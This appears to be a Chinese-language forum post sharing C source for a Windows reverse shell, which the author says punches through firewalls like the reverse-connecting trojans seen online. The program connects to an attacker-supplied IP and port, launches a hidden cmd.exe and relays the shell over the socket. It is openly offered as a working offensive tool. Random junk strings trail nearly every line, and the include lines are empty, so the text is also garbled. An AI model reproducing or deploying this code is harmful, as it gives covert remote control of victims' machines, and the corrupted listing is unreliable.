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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e12QYoh  
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/* ============================== bIAE?D  
Rebound port in Windows NT R=lw}jH[Z  
By wind,2006/7 f 7lj,GAZ  
===============================*/ L ,dh$F  
#include 7upko9d/  
#include nQjpJ /=  
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#pragma comment(lib,"wsock32.lib") u;-&r'J>  
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void OutputShell(); 5mD8$% \8  
SOCKET sClient; gHrs|6q9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; , ~O>8VbF  
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void main(int argc,char **argv) 1^![8>u"  
{ Zj2 si  
WSADATA stWsaData; %o0b~R  
int nRet; `$B?TNuch7  
SOCKADDR_IN stSaiClient,stSaiServer; c\{N:S>  
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if(argc != 3) vW1^  
{ ayy\7b  
printf("Useage:\n\rRebound DestIP DestPort\n");  AG@gOm  
return; i6'=]f'{  
} nF<K84  
[a2]_]E%  
WSAStartup(MAKEWORD(2,2),&stWsaData); QnWE;zN[7A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /?'~`4!(  
e= IdqkJ%  
stSaiClient.sin_family = AF_INET; "?NDN4l*  
stSaiClient.sin_port = htons(0); 0K%okq|n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _O`p(6  
A@}5'LzL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z7a@$n3h  
{ d4S4 e  
printf("Bind Socket Failed!\n"); .<%tu 0  
return; K%v:giN$l`  
} lYG`)#T  
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stSaiServer.sin_family = AF_INET; n/_q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FEjO}lTK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3Z XAAV  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sgfqIe1  
{ qUJ"* )S  
printf("Connect Error!"); u#76w74  
return; Q,KNZxT,q  
} rl|'.~mc  
OutputShell(); Bl b#h  
} t1w5U+z  
9\Jc7[b  
void OutputShell() MB)<@.A0  
{ 9O;Sn+  
char szBuff[1024]; RE>Q5#|c  
SECURITY_ATTRIBUTES stSecurityAttributes; ;'S,JGpvT  
OSVERSIONINFO stOsversionInfo; \zBi-GI7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QX=TuyO  
STARTUPINFO stStartupInfo; )'+[,z ;s  
char *szShell; D6bYg `  
PROCESS_INFORMATION stProcessInformation; N~!, S;w  
unsigned long lBytesRead; KuJ)alD;1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I$; `^z  
6Z_V,LD9L  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ##jJa SxG  
stSecurityAttributes.lpSecurityDescriptor = 0; )> ZT{eF  
stSecurityAttributes.bInheritHandle = TRUE; t\Vng0  
0AO^d[v  
&|Gg46P7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oMbd1uus  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M/o?D <'  
eK7A8\;e  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5M5Bm[X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _lv{8vf1B  
stStartupInfo.wShowWindow = SW_HIDE; v2;E Wp  
stStartupInfo.hStdInput = hReadPipe; +xYu@r%R  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nah?V" ?Y  
u> {aF{  
GetVersionEx(&stOsversionInfo); BE0l2[i?  
ljbAfd  
switch(stOsversionInfo.dwPlatformId) 1 uU$V =  
{ Jqxd92 bI  
case 1: -Lq+FTezE  
szShell = "command.com"; $FPq8$V  
break; g (w/  
default: Tt: (l/1  
szShell = "cmd.exe"; #L.,aTA<  
break; (G|!{  
} O\<zQ2m  
y.Z_\@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9QU\J0c/  
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send(sClient,szMsg,77,0); F(VVb(\jd  
while(1) Z1fY' f  
{ gKb,Vrt  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]gBnzh.  
if(lBytesRead) &PJ;B)b  
{ !=YEhQ-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *EuX7LEu_  
send(sClient,szBuff,lBytesRead,0); .))g]CH  
} d[6 'w ?  
else /l<(i+0  
{ icb)JZ1K  
lBytesRead=recv(sClient,szBuff,1024,0); kN/YnY*J<  
if(lBytesRead<=0) break; .2%t3ul[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?>;b,^4  
} r|l?2 eO~  
} D?dBm  
3(oMASf  
return; !; >s.]  
}
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